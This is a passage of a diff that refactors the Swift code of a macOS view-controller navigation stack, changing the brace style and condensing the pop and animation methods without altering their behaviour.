+			self.viewControllers.removeSubrange(range)
 		}
 	}
 
-    func pop(toViewController viewController: NSViewController, animated: Bool) {
-		if animated {
-			pop(toViewController: viewController, animation: defaultPopAnimation())
-		} else {
-			pop(toViewController: viewController, animation: nil)
-		}
+    func pop(toViewController viewController: NSViewController, animated: Bool)
+	{
+		self.pop(toViewController: viewController, animation: animated ? defaultPopAnimation() : nil)
 	}
 
-    func popToRootViewController(animation: AnimationBlock?) {
-		guard let rootViewController = viewControllers.first else { return }
-		guard let topViewController = topViewController else { return }
+    func popToRootViewController(animation: AnimationBlock?)
+	{
+		guard let rootViewController = self.viewControllers.first,
+			let topViewController = self.topViewController else { return }
 		guard topViewController != rootViewController else { return }
-
-		pop(toViewController: rootViewController, animation: animation)
+		self.pop(toViewController: rootViewController, animation: animation)
 	}
 
-    func popToRootViewController(animated: Bool) {
-		if animated {
-			popToRootViewController(animation: defaultPopAnimation())
-		} else {
-			popToRootViewController(animation: nil)
-		}
+    func popToRootViewController(animated: Bool)
+	{
+		self.popToRootViewController(animation: animated ? self.defaultPopAnimation() : nil)
 	}
 
 	// MARK: - Animating
-	private func animate(fromView: NSView?, toView: NSView?, animation: AnimationBlock) {
+	private func animate(fromView: NSView?, toView: NSView?, animation: AnimationBlock)
+	{
 		fromView?.wantsLayer = true
 		toView?.wantsLayer = true
-		for animation in animation(fromView, toView).fromViewAnimations {
-			fromView?.layer?.add(animation, forKey: nil)
+		animation(fromView, toView).fromViewAnimations.forEach
+		{
+			fromView?.layer?.add($0, forKey: nil)
 		}
-		for animation in animation(fromView, toView).toViewAnimations {
-			toView?.layer?.add(animation, forKey: nil)
+		animation(fromView, toView).toViewAnimations.forEach
+		{
+			toView?.layer?.add($0, forKey: nil)
 		}
 	}
 
-    func animatePush(_ animation: AnimationBlock) {
-		let fromView = previousViewController?.view
-		let toView = topViewController?.view
-		animate(fromView: fromView, toView: toView, animation: animation)
+    func animatePush(_ animation: AnimationBlock)
+	{
+		self.animate(fromView: self.previousViewController?.view,
+					 toView: self.topViewController?.view,
+					 animation: animation)
 	}
 
-    func animatePop(toView view: NSView?, animation: AnimationBlock) {
-		let fromView = topViewController?.view
-		let toView = view
-		animate(fromView: fromView, toView: toView, animation: animation)
+    func animatePop(toView view: NSView?, animation: AnimationBlock)
+	{
+		self.animate(fromView: self.topViewController?.view,
+					 toView: view,
+					 animation: animation)
 	}
 }